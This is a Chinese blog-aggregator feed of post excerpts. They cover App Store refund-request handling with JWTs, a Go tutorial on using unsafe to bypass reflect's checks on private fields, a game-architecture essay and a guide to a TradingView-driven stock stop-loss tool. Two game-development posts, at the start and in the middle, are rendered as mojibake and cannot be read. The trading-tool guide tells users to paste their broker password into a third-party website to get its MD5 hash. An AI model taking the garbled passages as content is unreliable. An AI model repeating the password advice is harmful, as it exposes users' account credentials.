��Ҹ��������Ϸ��Ŀ����Ѿ��˽����Ϸ��������������ͨ�أ����ǽ������Ŀ�꣩�ļƻ���
�����ʵʩ�ƻ��Ĺ������������ۡ���ͨ���Ƿ�����һЩδ��Ԥ�ϵ����⡣������Ⲣ����ϵͳ����ǿ�ӽ����ģ�����������¶����ҵĹ����º��������ġ����ԣ���һ�������Լ��Թ�������IJ�������������Դ������ߵĶ��⡣
��������Լ��ļƻ�������������Ϸϵͳ���������ʱ����Ϸ������������Դ����ģ�ȱ����������������ѧ��Ӧ����Щ����ԣ���֮��ǿ�Լ��Կ���Ϸ�����ţ������ǹ����������ǹر�ս������һ����Σ������Ϸ�������ǻ������Լ������Ĺ�����ģ�����Ҫ����������������Ȼ����Ч�ʻ����͡�
��Ϸ��ʱ����һЩ��ϵͳ����ȱ���б���ΪһЩδ��Ԥ�ϵ���ս�������¶ȿ����ڳ���û�б��֣���ͬʱ�����µ�Ӧ�Բ��ԣ������ǹ��������Ϊ�µ�������ʽ�������˻��ȣ���������������Ч�ʣ�����Щ������ǿ�ѡ�ġ�
��Ҹ�����ϵͳ�����Լ��ļƻ���
���ۣ�
������Ϸ���ܽ������һ��������һ��Ҫ������һ��������Ϸ����Ҫ�ṩ�㹻��ϸ�ڡ���Щϸ�ڵ������ǣ���Ȼ���Ĺ����������������ƻ���Ԥ��Ŀ��������ɣ��������Ϻ���ȷԤ�⣬ϸ��ƫ����������ЧӦ������СС����Ϊƫ����������ľޱ䡣
һ��Ҫ������ṩһ�� "Ϊ�˽�����Ϸ�� ������ "���ڼƻ�ͼ��" ����̨�����ȱ����һ�㣬���������ǹ����Ĵ��ʹ��淨��ȱ���������淨����������������ҳ�������ȥ��
Ҳ����˵�����淨�ǰ�����ҽ�������������ֶΣ�����ҵĺ������鲢��������Щ�淨����Ϸ���̣����������滮Ȼ��ʵʩ�滮�ϡ�
- 博客 西秦公子 2024-08-13 00:37:21我们部门名字之前是叫「Integration and AI Solutions」，但坦白来讲，过去我一直没太理 […]
- 博客 小球飞鱼 2024-08-12 08:00:00没有在嗑矢张，只是很努力地在，押韵……
- 博客 61's life 2024-08-11 23:54:50168
- 博客 张鑫旭-鑫空间-鑫生活 2024-08-10 21:45:31
View Transitions API可以让页面元素在无需设置具体定位属性值的情况下实现各种各样的动画效果，是个很强很有用的新特性。 - 博客 Randy's Blog 2024-08-10 08:00:00170
- 博客 bboysoul的博客 2024-08-09 22:07:00
简介
每周五更新，所有的更新也会发送到我的频道
规则
- pre release的不记录
- 只记录重要的更新
- 上一版本版本的bugfix不记录，比如某一个项目最新版本是7.0.0 上一个版本6.0.0发布了一个bugfix 6.0.1 那么不会记录
- 比如lens发布了一个新版本，那么openlens也会发布一个新版本，此时只会记录lens发布的信息，不会记录openlens发布的信息
- 博客 oldj's blog 2024-08-09 16:31:00
最近完善了一下产品的购买流程，其中的一项工作是处理来自苹果 App Store 平台的 CONSUMPTION_REQUEST 消息，在这儿记录一下要点。
消息说明
App 如果使用了苹果的内购（IAP），每当发生用户购买、续费、退款等操作时，苹果服务器都会向开发者指定的地址发送一条消息，不同的消息有不同的
notificationType值，其中 CONSUMPTION_REQUEST 消息的意思是用户为应用内购买发起了退款请求，App Store 请求开发者服务器提供用户的消费数据，用于协助 App Store 决定是否给用户退款。开发者可以忽略 CONSUMPTION_REQUEST 消息，也可以根据需要，在 12 小时内回应 App Store。
回应消息
要回应 CONSUMPTION_REQUEST 消息，只需向指定的地址发一个 PUT 请求即可。具体细节可见官网文档。
这个 PUT 消息的要点主要有两个：
- 在 Header 中添加认证 token 信息；
- 在 Body 中发送一个 JSON 格式的对象，向 App Store 提交对应的信息。
数据内容
我们先看 Body 中的数据内容。
根据文档，数据字段以及含义大致如下：
{ "accountTenure": 0, // 用户年龄段，0 表示未知 "appAccountToken": "", // 用户 uuid，由于之前没有设置，此处留空 "consumptionStatus": 0, // 消费状态，0：未知，1：未消费，2：部分消费，3：全部消费 "customerConsented": True, // 用户是否同意提供消费数据 "deliveryStatus": 0, // 交付状态，0：已成功交付 "lifetimeDollarsPurchased": 0, // 用户在应用内购买的总金额，0 表示未知 "lifetimeDollarsRefunded": 0, // 用户在应用内退款的总金额，0 表示未知 "platform": 1, // 平台，0：未知，1：苹果平台，2：其他平台 "playTime": 0, // 用户在应用内的总时间，0 表示未知 "refundPreference": 1, // 商家对退款的意见，0：未知，1：支持，2：不支持，3：不确定 "sampleContentProvided": True, // 是否已经提供了示例内容 "userStatus": 1, // 用户账号状态，0：未知，1：活跃，2：暂停，3：关闭，4：受限 }你可以根据需要，修改对应字段的值。
请求 Header
请求 Header 中有两个必填的自定义字段，分别是：
- Content-Type 值固定是
application/json - Authorization 值为
Bearer $jwt_token
其中
jwt_token必须要正确填写，否则请求会返回 401 错误。jwt_token的具体生成说明可见官方文档，大致格式类似下面这样：Header:
{ "kid": "ZA12345678", "alg": "ES256", "typ": "JWT" }Payload:
{ "iss": "your_uuid", "iat": 1723173620, "exp": 1723183620, "aud": "appstoreconnect-v1", "bid": "your_bundle_id" }其中
kid、iss，以及生成 JWT 时所需的私钥等几项，需要去 App Store Connect 后台生成。JWT 私钥
如果你之前还没有生成过对应的私钥，可以前往 App Store Connect 后台的“用户和访问” → “集成” → “App 内购买项目”页面生成，如下图所示：
生成之后，可以在这个页面下载 .p8 格式的私钥。注意这个私钥只能下载一次，下载之后请妥善保存，如果不慎遗失，只能删除再重新生成一个。
上面生成 JWT 所需的
kid对应上图中的“密钥 ID”，iss对应“Issuer ID”，私钥即上面下载的 .p8 文件中的内容。然后就可以用类似下面的方法生成 JWT 了：
import jwt jwt_token = jwt.encode( payload, private_key, algorithm="ES256", headers=headers, )最后，将得到的
jwt_token以Bearer $jwt_token的形式包含在请求头的Authorization中，发起 PUT 请求即可。如果请求返回 202 状态码，表示请求成功了。如果是其他值，可根据错误状态再仔细检查处理。
- 博客 二丫讲梵 2024-08-09 06:59:10如要阅读全文，点击标题跳转。学习周刊-总第171期,go 进程优雅重启能力的 go 库|智能化的 Kubernetes 平台|前后端分离的管理系统|云计算泥石流
- 博客 西秦公子 2024-08-09 00:29:50在上次写完「为什么是产品决策优先级」之后，我也和身边的几个产品同学聊了聊我的推演逻辑，他们给了我不同的输入，让 […]
- 博客 61's life 2024-08-08 23:59:20175
- 博客 鸟窝 2024-08-08 23:12:59
在Go语言中,结构体(struct)中的字段如果是私有的,只能在定义该结构体的同一个包内访问。这是为了实现数据的封装和信息隐藏,提高代码的健壮性和安全性。
但是在某些情况下,我们可能需要在外部包中访问或修改结构体的私有字段。这时,我们可以使用 Go 语言提供的反射(reflect)机制来实现这一功能。
即使我们能够实现访问，这些字段你没有办法修改，如果尝试通过反射设置这些私有字段的值，会 panic。
甚至有时，我们通过反射设置一些变量或者字段的值的时候，会 panic, 报错
panic: reflect: reflect.Value.Set using unaddressable value。在本文中，你将了解到：
- 如何通过 hack 的方式访问外部结构体的私有字段
- 如何通过 hack 的方式设置外部结构体的私有字段
- 如何通过 hack 的方式设置 unaddressable 的值
首先我先介绍通过反射设置值遇到的 unaddressable 的困境。
通过反射设置一个变量的值
如果你使用过反射设置值的变量，你可能熟悉下面的代码，而且这个代码工作正常：
12345var x = 47v := reflect.ValueOf(&x).Elem()fmt.Printf("原始值: %d, CanSet: %v\n", v.Int(), v.CanSet()) // 47, falsev.Set(reflect.ValueOf(50))注意这里传入给
reflect.ValueOf的是 x 的指针&x, 所以这个 Value 值是addresable的，我们可以进行赋值。如果把
&x替换成x, 我们再尝试运行：12345var x = 47v := reflect.ValueOf(x)fmt.Printf("Original value: %d, CanSet: %v\n", v.Int(), v.CanSet()) // 47, falsev.Set(reflect.ValueOf(50))可以看到panic:
123456789101112131415Original value: 47, CanSet: falsepanic: reflect: reflect.Value.Set using unaddressable valuegoroutine 1 [running]:reflect.flag.mustBeAssignableSlow(0x1400012c410?)/usr/local/go/src/reflect/value.go:272 +0x74reflect.flag.mustBeAssignable(...)/usr/local/go/src/reflect/value.go:259reflect.Value.Set({0x104e13e40?, 0x104e965b8?, 0x104dec7e6?}, {0x104e13e40?, 0x104e0ada0?, 0x2?})/usr/local/go/src/reflect/value.go:2319 +0x58main.setUnaddressableValue()/Users/smallnest/workspace/study/private/main.go:27 +0x1c0main.main()/Users/smallnest/workspace/study/private/main.go:18 +0x1cexit status 2文章最后我会介绍如何通过 hack 的方式解决这个问题。
接下来我再介绍访问私有字段的问题。
访问外部包的结构体的私有字段
我们先准备一个
model包，在它之下定义了两个结构体：12345678910111213141516171819202122232425package modeltype Person struct {Name stringage int}func NewPerson(name string, age int) Person {return Person{Name: name,age: age, // unexported field}}type Teacher struct {Name stringAge int // exported field}func NewTeacher(name string, age int) Teacher {return Teacher{Name: name,Age: age,}}注意
Person的age字段是私有的，Teacher的Age字段是公开的。在我们的
main函数中，你不能访问Person的age字段：12345678910111213141516171819package main;import ("fmt""reflect""unsafe""github.com/smallnest/private/model")func main() {p := model.NewPerson("Alice", 30)fmt.Printf("Person: %+v\n", p)// fmt.Println(p.age) // error: p.age undefined (cannot refer to unexported field or method age)t := model.NewTeacher("smallnest", 18)fmt.Printf("Teacher: %+v\n", t) // Teacher: {Name:Alice Age:30}}那么真的就无法访问了吗？也不一定，我们可以通过反射的方式访问私有字段:
1234p := model.NewPerson("Alice", 30)age := reflect.ValueOf(p).FieldByName("age")fmt.Printf("原始值: %d, CanSet: %v\n", age.Int(), age.CanSet()) // 30, false运行这个程序，可以看到我们获得了这个私有字段
age的值:1原始值: 30, CanSet: false这样我们就绕过了Go语言的访问限制，访问了私有字段。
设置结构体的私有字段
但是如果我们尝试修改这个私有字段的值，会 panic:
1age.SetInt(50)或者
1age.Set(reflect.ValueOf(50))报错信息：
123456789101112131415原始值: 30, CanSet: falsepanic: reflect: reflect.Value.SetInt using value obtained using unexported fieldgoroutine 1 [running]:reflect.flag.mustBeAssignableSlow(0x2?)/usr/local/go/src/reflect/value.go:269 +0xb4reflect.flag.mustBeAssignable(...)/usr/local/go/src/reflect/value.go:259reflect.Value.SetInt({0x1050ac0c0?, 0x14000118f20?, 0x1050830a8?}, 0x32)/usr/local/go/src/reflect/value.go:2398 +0x44main.setUnexportedField()/Users/smallnest/workspace/study/private/main.go:37 +0x1a0main.main()/Users/smallnest/workspace/study/private/main.go:18 +0x1cexit status 2实际上，
reflect.Value的Set方法会做一系列的检查，包括检查是否是addressable的，以及是否是exported的字段:12345func (v Value) Set(x Value) {v.mustBeAssignable()x.mustBeExported() // do not let unexported x leak...}v.mustBeAssignable()检查是否是addressable的，而且是exported的字段:1234567891011121314151617func (f flag) mustBeAssignable() {if f&flagRO != 0 || f&flagAddr == 0 {f.mustBeAssignableSlow()}}func (f flag) mustBeAssignableSlow() {if f == 0 {panic(&ValueError{valueMethodName(), Invalid})}// Assignable if addressable and not read-only.if f&flagRO != 0 {panic("reflect: " + valueMethodName() + " using value obtained using unexported field")}if f&flagAddr == 0 {panic("reflect: " + valueMethodName() + " using unaddressable value")}}f&flagRO == 0代表是可写的（exported），f&flagAddr != 0代表是addressable的,当这两个条件任意一个不满足时，就会报错。既然我们明白了它检查的原理，我们就可以通过 hack 的方式绕过这个检查，设置私有字段的值。我们还是要使用
unsafe代码。这里我们以标准库的
sync.Mutex结构体为例，sync.Mutex包含两个字段，这两个字段都是私有的：1234type Mutex struct {state int32sema uint32}正常情况下你只能通过
Mutex.Lock和Mutex.Unlock来间接的修改这两个字段。现在我们演示通过 hack 的方式修改
Mutex的state字段的值：1234567891011121314151617181920212223242526272829303132func setPrivateField() {var mu sync.Mutexmu.Lock()field := reflect.ValueOf(&mu).Elem().FieldByName("state")state := field.Interface().(*int32)fmt.Println(*state) // ❶flagField := reflect.ValueOf(&field).Elem().FieldByName("flag")flagPtr := (*uintptr)(unsafe.Pointer(flagField.UnsafeAddr()))// 修改flag字段的值*flagPtr &= ^uintptr(flagRO) // ❷field.Set(reflect.ValueOf(int32(0)))mu.Lock() // ❸fmt.Println(*state)}type flag uintptrconst (flagKindWidth = 5 // there are 27 kindsflagKindMask flag = 1<<flagKindWidth - 1flagStickyRO flag = 1 << 5flagEmbedRO flag = 1 << 6flagIndir flag = 1 << 7flagAddr flag = 1 << 8flagMethod flag = 1 << 9flagMethodShift = 10flagRO flag = flagStickyRO | flagEmbedRO)❶ 处我们已经介绍过了，访问私有字段的值，这里会打印出1
❶ 处我们清除了flag字段的flagRO标志位，这样就不会报reflect: reflect.Value.SetInt using value obtained using unexported field错误了
❸ 处不会导致二次加锁带来的死锁，因为state字段的值已经被修改为0了，所以不会阻塞。最后打印结果还是1这样我们就可以实现了修改私有字段的值了。
使用unexported字段的Value设置公开字段
看
reflect.Value.Set的源码，我们可以看到它会检查参数的值是否unexported，如果是，就会报错,下面就是一个例子：1234567891011func setUnexportedField2() {alice := model.NewPerson("Alice", 30)bob := model.NewTeacher("Bob", 40)bobAgent := reflect.ValueOf(&bob).Elem().FieldByName("Age")aliceAge := reflect.ValueOf(&alice).Elem().FieldByName("age")bobAgent.Set(aliceAge) // ❹}注意❹处，我们尝试把
alice的私有字段age的值赋值给bob的公开字段Age，这里会报错：1234567891011121314panic: reflect: reflect.Value.Set using value obtained using unexported fieldgoroutine 1 [running]:reflect.flag.mustBeExportedSlow(0x1400012a000?)/usr/local/go/src/reflect/value.go:250 +0x70reflect.flag.mustBeExported(...)/usr/local/go/src/reflect/value.go:241reflect.Value.Set({0x102773a60?, 0x1400012a028?, 0x60?}, {0x102773a60?, 0x1400012a010?, 0x1027002b8?})/usr/local/go/src/reflect/value.go:2320 +0x88main.setUnexportedField2()/Users/smallnest/workspace/study/private/main.go:50 +0x168main.main()/Users/smallnest/workspace/study/private/main.go:18 +0x1cexit status 2原因
alice的age值被识别为私有字段，它是不能用来赋值给公开字段的。有了上一节的经验，我们同样可以绕过这个检查，实现这个赋值：
123456789101112131415func setUnexportedField2() {alice := model.NewPerson("Alice", 30)bob := model.NewTeacher("Bob", 40)bobAgent := reflect.ValueOf(&bob).Elem().FieldByName("Age")aliceAge := reflect.ValueOf(&alice).Elem().FieldByName("age")// 修改flag字段的值flagField := reflect.ValueOf(&aliceAge).Elem().FieldByName("flag")flagPtr := (*uintptr)(unsafe.Pointer(flagField.UnsafeAddr()))*flagPtr &= ^uintptr(flagRO) // ❺bobAgent.Set(reflect.ValueOf(50))bobAgent.Set(aliceAge) // ❻}❺ 处我们修改了
aliceAge的flag字段，去掉了flagRO标志位，这样就不会报错了,❻处我们成功的把alice的私有字段age的值赋值给bob的公开字段Age。这样我们就可以实现了使用私有字段的值给其他Value值进行赋值了。
给unaddressable的值设置值
回到最初的问题，我们尝试给一个unaddressable的值设置值，会报错。
结合上面的hack手段，我们也可以绕过限制，给unaddressable的值设置值：
12345678910111213141516func setUnaddressableValue() {var x = 47v := reflect.ValueOf(x)fmt.Printf("原始值: %d, CanSet: %v\n", v.Int(), v.CanSet()) // 47, false// v.Set(reflect.ValueOf(50))flagField := reflect.ValueOf(&v).Elem().FieldByName("flag")flagPtr := (*uintptr)(unsafe.Pointer(flagField.UnsafeAddr()))// 修改flag字段的值*flagPtr |= uintptr(flagAddr) // 设置可寻址标志位fmt.Printf("CanSet: %v\n", v.CanSet()) // truev.SetInt(50)fmt.Printf("修改后的值: %d\n", v.Int()) // 50}运行这个程序，不会报错，可以看到我们成功的给unaddressable的值设置了新的值。
回顾
我们通过修改
Value值的flag标志位，可以绕过reflect的检查，实现了访问私有字段、设置私有字段的值、用私有字段设置值，以及给unaddressable的值设置值。这些都是
unsafe的方式，一般情况下不鼓励进行这样的hack操作，但是这种技术也不是完全没有用户，如果你正在写一个debugger，用户在断点出可能想修改某些值，或者你在写深拷贝的库，或者编写某种ORM库，或者你就像突破限制，访问第三方不愿意公开的字段，你有可能会采用这种非常规的技术。我是鸟窝，一位老程序员，在百度写代码。如果你感觉这篇文章给你带来了帮助，请点击下方点赞按钮或者评论区进行评论。
- 博客 云风的 BLOG 2024-08-08 13:57:48
��Ϸ��ҵ��ҵ 20 ���꣬һֱ�����ײ㿪������ʹ�ǰ��������Ŷ�д�ϲ���Ϸ����Ҳ����ʵ��ijЩ�ض��Ĺ���ģ�顣ֱ����������뵥��������Ϸ���źú�������Ӹ���ô�
�������ԭʼ demo ��ʼ������ȱ�����飬д��д�ž�����ʧ�صĸо�������һ���������ع�����������������ĵ�ʱ��ͣ��������������ȫ����дҲ��̫��ν���������˳����һ�㣬�о���Ҫ����һ��˼·������дһƪ blog ��¼һ�¡�
�κθ��ӵ��������⣬������ͨ�����Ϊ������������ٸ��Ӷȡ�
����Ϊ����Ϸ���ϲ������� gameplay ���֣���Ҫ��Ϊ���飺����ģ�͡����ڱ��ֺ��˻�������
������ģ�͡��� gameplay �ĺ��IJ��֣�������Ϸ�Ļ�������ڱ����Լ�ͼ�ν��桢�������ƣ������̿������ȣ��Ȱ����Ķ���������ж�һ��ģ���Ƿ���������ģ�ͣ��Ƿ��в��������IJ���û�в�ֳ�ȥ����ķ����ǿ����Ƿ���ֱ�ӵ�����Ϸ����Ĵ��롣��ָɾ�����鲻Ӧ�ð����κ���ͼ�Ρ����桢ʱ�ӡ����������йصĽӿڡ�����һЩ��Ҫ���ļ� IO �ӿڣ���Ҫ��������ȡ gameplay ��صIJ����ݣ�д log �������ݳ־û��ȣ���Ҳ��Ӧ���漰�κ� OS �� API ��
���������ǾͿ��Է���Ķ������������ֲ��IJ��ԡ���Ҫʱ�����Ը�����Ϸ���棬�������ı� roguelike ���� 3D ���ֶ�������Ӱ�졣
�����ڱ��֡���Ȼ��ָ��Ϸ�Ļ�����֡�������Ч�ȵȣ�ͨ��������Ϸ����ʵ�֣��������д����Ĵ�������� gameplay ��ʵ���С���һ�����Ҳ��ά��������״̬���������漰���ݳ־û������жϷ����ǣ������Ϸ�������ʱ���������������״̬�������������´ζ�ȡ���Ⱥ���Щ״̬���ܱ��ؽ�������Ҳ���о���ʧ���κ����ݡ�
���˻�����������Ϸ������Ҫ�IJ��֣����û�С��ˡ��Ĵ��ڣ���ϷҲ��û�������ˡ�����Ϊ�������֣�ͼ�ν�������չʾ��Ϸ�����ݸ��˿���ͬʱ����һЩ��������ļ�����룻���������������������ֱ������̴������ȣ�����Ϸ��ֱ�ӿ��ơ�
����������Ϸ����Ӧ�������Ĵ�飺���������롱����ƪ blog �����۷�������Ϸ��
���ڡ�����ģ�͡���飬���ڱ���ʱ�����������Ϊ gameplay �����Խ�һ���ķ�Ϊ�����ࣺ�������� Object �� ������ Actor ��
Object ����ΪӦ�������࣬ÿ�����ۺ���һ����������ǿ����dz����ϵ��������Ϸ��ɫ�����ֻ��ڱ��ֲ����ҵ���Ӧ��Ķ�����Ҳ�����������嵥���ֲ��ڱ��ֲ���ֵĶ��������ܻ��ڽ����ϳ��֣�����ʵ�� Object ʱ��Ӧ�������������ݺͲ�����Щ���ݵķ�����
�������ݲ��֣�Ӧ�������ھͿ�����γ־û�������Ϸ�� Load Save �����ʵ�֣�ͨ�����Ƕ�ÿ������ÿ�����嵥�����־û���Ϊ��ʵ�ֳ־û���ÿ�� Object ��Ӧ�� id ������id �� typename �����ǵĹ������ԡ�
��������Ӧ�þ����������������������á���DZ�Ҫ�����ṩ��������ݿ��Ƶķ�������Ϊһ��Ҫ�ṩ�ض��ķ����������ݣ���������Ϊ��������������������õ�������ȥ��������������һ���ԡ��������ԭ��Object ��Ӧ���ṩ�� update �����ķ��������ԣ�Object �Ǿ�̬���ݼ��ϣ����DZ����ġ�
��ô����Ϸ����ô��ת�������أ����ǿ�����ʵ��һϵ�е������� Actor ��ÿ�� Actor ��Ӧ����Ϸ�����е�һ��ʵ�壬�����Թ���һ������ Object ��ͨ����д Object �����ݿ������ǡ��������Ϸ�� gameplay ���治������̫����������⣬�������ﲻ���Dz��д�������Ȼ Actor �����Ǹ��Զ����ģ������д������Ա��⿼�Dz�����д Object �����⡣
Actor ʹ����Ϣ��������ͬ��� actor �в�ͬ�� update ����������ÿ�� tick ����Ϊ�����Դ�����Ϣ����Ϸ��������������ֻ��ͨ���� actor ������Ϣ��ɡ�actor ͨ��ʵ��Ϊһ��״̬����������������Ϸ�����е������ɫ�ڲ�ͬ״̬���в�ͬ����Ϊ��actor ��Ҫά������������м�״̬��ͬʱҲҪ���dz־û����⣬�����ڲ�״̬��Ӧ�ó־û������������£�Ӧ��ֻ֤�־û�״̬����ǰ״̬�����־��ˡ���������ʱ״̬Ӧ�����Ը������ؽ���
���磺��Ϸ��һ�����ˣ�������һ����������Ҫ�� A ����ȡһ�������͵� B ����
- ������һ�� Object �����������������յ��λ�ã�������������������Ϣ��
- ������һ�� Object ���������������ĵ�ǰλ�á�Я��������ŵȡ�
- ��һ�� Actor ��Ϊ���˵Ŀ������������ڿ��ƹ��˵���Ϊ���������붩�������ն�����ִ�ж����ȡ�
��ִ�ж����Ĺ��̣��ֿ��Էֳ����ɲ��裺
- ȷ��ȥ A ���·��
- �ƶ��� A ��
- ��ȡ��Ʒ
- ȷ��ȥ B ���·��
- �ƶ��� B ��
- ������Ʒ
��Щ���裬��Щ�ǿ���������ɵģ���Щ����Ҫ���� tick ��������Ҫ�ܶ� tick ����ִ����Ĺ��̣��ض�����һЩ�м�״̬����Щ״̬���ز���־û�����Щ����ʱ����ʱ״̬Ӧ�����Ա��ؽ������磬�ڡ��ƶ���������裬һ����绷�������仯�����糡���仯�ˣ�·�̿��ܱ���£���actor �յ���Ϣ���ͻ��״̬���л�����Ѱ·��������裬֮ǰ���ƶ��������ִ�й������������м�״̬�Ͳ���Ҫ�ˡ�
��Ƴ־û�������һ�����ȼ��ܸߵ����顣��Ϊ�ڿ��dz־û�ʱ���ͻ������������ģ�͡�������ģ�ͣ����ͬʱ���Dz��ƻ��־û����ܣ�Ҳ�������һЩ��
��Ҫ�Ľ� �־û� ��ͬ�ڰ� Object �� Actor ���������ڴ����ݽṹ�����л����־û������ǰ�����ʱ�Ķ���ԭΪһϵ�еĹ���������´μ���ʱ����ͨ����Щ�������¹�������ʱ�ṹ��������ʱ�ṹ�����ῼ���������ع���ɸ����ӵ����ݽṹ�����ݽṹ�д���һЩ���ӵ�����ù�ϵ��
���磺����ϵͳ������ʱ�ṹ������ id �� ������ӳ�������������Ӷ��� id ��ѯ���������������־û�ʱ���Ѷ���������һ��˳���б��и��á�
��ΰ�����ģ�ͱ��ֳ����أ���Ҫ����������ʲôģʽ������
һ���������ģʽ������ģʽ��Immediate Mode���ͱ���ģʽ��Retained Mode��������Ҳ���ܸ�����Ⱦ��ͬ���͵Ķ�������ṩ����ģʽ��
���������ģʽ����ôÿ֡�����ɡ����ֲ㡱�������У�����Ϊ visual �����������ݲ㡱�� Object ȡ����״̬���ύ��Ⱦ���ɡ�
����DZ���ģʽ��һ���һ��ڱ��ֲ�Ϊ����ģ����� Object ������Ӧ�� visual object ����Ӧ��ϵ������ 1:1 ��Ҳ������ 1:n ��һ������ object ��Ӧ��� visual object �������ݲ��¼ÿ�� tick ��״̬�仯���������Ϣ���еķ�ʽ���ѱ仯���ݵ����ֲ㡣�������״̬�仯��Ϣ���� visual object ��״̬��ͬ����������Ⱦ��
������ʲôģʽ��������������ģ����ֱ�ӵ�����Ⱦ����� API ������ģ��Ҳ����ֱ�ӳ��� visual object �����á�
��Ⱦ��һ�㲻��ֱ�Ӹ�����ģ���е� Actor ������Ϣ����ֻ���ȡ������ı䣩 Object ��״̬���ݡ���������ֲ��ж���ķ�����ƣ�����������ϵͳ��������ϵͳ���Զ���Ϸ���緢��������һЩ���ڴ����ֵģ����ڱ��ֲ��Լ���������һЩ��Ӱ������ģ�͵ģ��ͻ���һ����ϢԴ���� Actor ������Ϣ���������ǿ����ǽ������һ���֡�
������ͨ����Ϊ HUD ��GUI��Controller �����û����������� Controller ���ֱ�����ꡢ���̵ȡ���Ҫ����Щ�豸��ԭʼ������ݳ�����һЩת��������ֱ�Ӵ���������갴�¡��ֱ�ҡ��������������Ϣ����Ӧ��ת��Ϊ���߽� gameplay ���������Ϣ�������ɷ�������Ծ���������ߵȡ�����һЩ���������� HUD �� GUI ����Ӧ�������� GUI �Ĵ�����ֱ�ӷ�������ģ�ͣ�����Ҫֱ�ӿ��Ʊ��ֲ�� visual object ����Ӧ����ת���� gameplay ����Ϣ��
���磺�����̡���Ӧ����һ����Ϣ������Ӧ����ֱ�ӵĺ������á�������ȺͶ�ȡ��������Ϣ����������Ӧ��ֻ��һ����ǣ�����ÿ�� tick ĩβ�ټ������������Ӧ������ͨ������ save �� load �����������ܸ��ı�֤����һ���ԡ�
������ÿ�� tick ����Щ�������������Ϣ��ַ���������ģ���е� actor ��actor �� update ���������� gameplay ��״̬�仯��
- 博客 Tinyfool的中文Blog 2024-08-08 10:16:46
美股投资的长期主义 7月底的时候，有油管的观众写邮件给我，问我美股震荡，刚刚买的美股基金，亏了一些。他说，听说 […]
- 博客 土木坛子 2024-08-08 00:00:12自上次立志戒酒以来，已经过去几近半年，总体来说比较成功。记得刚开始和朋友聚会时我宣布开始戒酒，朋友还笑称：一个 […]
- 博客 西秦公子 2024-08-07 00:28:21这个是个好问题： 我的答案如下： 总结一下：
- 博客 forecho 的独立博客 2024-08-06 12:58:00
引言
Warden 是我开发的一套用于帮我们美股止盈/止损的工具，它可以帮助你在美股交易中更好的控制风险。帮助你守住利润，避免亏损。
官网是 https://warden.richcalls.xyz/，使用 Google 账号登录即可使用。目前内测版本，内测期间免费使用。
配置账户
登录之后在菜单栏选择「账户管理」，然后添加账户就可以了。目前只支持长桥证券和富途证券。而且只支持美股。
长桥证券
长桥访问 https://open.longportapp.com/ 登录之后去个人中心获取 API Key 和 Secret 等信息，然后填写到 Warden 中即可使用了。
富途证券
由于富途证券的 API 的使用方式问题，这里想使用富途证券的用户配置好信息之后，需要联系我，我需要手动另外在配置一下才能使用。
需要说明的是：
-
配置的时候需要输入登录密码的 MD5 值，可以使用 https://www.cmd5.com/ 获取到密码 MD5 加密之后的值，复制过来就可以（如下图）。
-
解锁密码同登录密码一样也是 MD5 加密之后的值。
账户使用说明
账户默认是开启状态，并且开启了 Test Mode（测试模式）。测试模式，开启之后会无视市价单，所有的订单买入的时候提交的是 0.01 ,卖出的时候是 999.00 的限价单。这样可以避免在测试的时候买入卖出真实的股票。
测试之后可以关闭测试模式，这样就可以正常的买入卖出股票了。
Webhook 请求只会处理
Active状态的账户，如果你不想使用某个账户了，可以在账户管理中关闭这个账户。系统使用说明
结合 TradingView 实现自动交易
这是本系统的核心功能，你可以在 TradingView 上配置警报，然后在 Warden 中配置好账户之后，就可以实现自动交易了。
具体步骤：
先去 Warden 系统的个人设置中获取到你的
WebHook Url，这个 Url 是用来接收 TradingView 的警报的。不要泄露给别人。然后在 TradingView 中配置警报，在「通知」中填写你的
WebHook Url，然后就可以了。
说明一下：
- 图上的条件就是你的策略，这里可玩性非常多，你可以自己划线，然后创建报警；你也可以使用 MA、EMA、BOLL、RSI 等指标来创建报警。至于怎么玩，完全取决于你的策略。
- 消息需要是 Warden 系统的一种固定格式，你需要做什么操作，完全取决于你的消息内容。
- WebHook Url 是你的 Warden 系统的 Url，不要泄露给别人。
WebHook 消息格式说明
1 2 3 4 5 6symbol: NVDA240823C115000 pos: 1 qty: 1 side: BUY order_type: LO price: 0symbol股票或者期权，必选参数；在卖出的时候，期权代码支持模糊匹配。示例：NVDA240823C115000代表想操作 NVDA 2024 年 8 月 23 日到期的 115 美元的 Call 期权。NVDA*代表想卖出所有的持仓期权，只能搭配市价单和卖出使用。*代表清仓，需搭配市价单和卖出使用。
pos仓位占比，卖出的时候可选参数; 当有此参数的时候会忽略qty参数，示例：1代表卖出全部持仓，1/2代表卖出一半持仓，1/3代表卖出三分之一仓位。
qty数量，必选参数，除卖出有pos参数外，其他都需要此参数side方向buy买入sell卖出
order_type订单类型lo限价单mo市价单
price价格，市价单会忽略此参数。
另外说明：
- 所有参数无视大小写
- 所以订单都是当日有效
- 目前只支持美股，不支持其他市场
期权计算器
为了方便大家获取到期权的标的代码，我在系统中加入了期权计算器，你可以输入你想要的期权的条件，然后就可以很方便的获取到期权的标的代码了，方便你在 TradingView 中配置警报的时候使用。
一键清仓
除了给系统发消息实现一件清仓之外，我在账户管理中加入了一键清仓的功能，你可以直接在账户管理中点击一键清仓，就可以清仓所有的持仓了。
当然清仓之前会有一个确认的弹窗，避免误操作。
定时交易
由于期权不能盘前和盘后交易，所以我开发了这个功能，如果你不想期权过夜，可以使用这个功能帮你在交易日结束之前卖出期权。
Webhook 日志
在系统中有一个 Webhook 日志，你可以看到系统接收到的消息，以及处理的结果。这样你就可以知道系统是否正常的接收到了消息，以及是否正常的处理了消息。
最佳实践
这套系统最主要的目的是给大家做止盈止损的，有时候我们明明知道跌破了支撑，但是却缺乏执行力，怎么办？提前设置好止损，然后就可以放心的等待系统帮你卖出了。
比如下面一些场景
日内期权操作
跟着信号买入动能股的期权，当股票启动的时候迅速设置好止盈止损，然后就可以放心的等待系统帮你卖出了。
我这里使用了 3 分钟的 VWAP 作为技术指标，当股票下穿 VWAP 的时候就是一个卖出信号。
除了 VWAP 指标只外，你还可以用道氏理论画出支撑和阻力线，然后设置止盈止损。
一键清仓
QQQ 如果跌破 MA20，那么其实就是一个非常糟糕的信号，这个时候一般还会继续跌，有时候你可能会犹豫，下不去手清仓，这个时候我们需要在 TradingView 中提前设置好警报，然后 Warden 就会帮你卖出了。
如果你想一键清仓，消息的格式就是：
1 2 3 4symbol: * pos: 1 side: sell order_type: mo如果你想所有的持仓都卖出一半，那么消息的格式就是：
1 2 3 4symbol: * pos: 1/2 side: sell order_type: mo除了使用
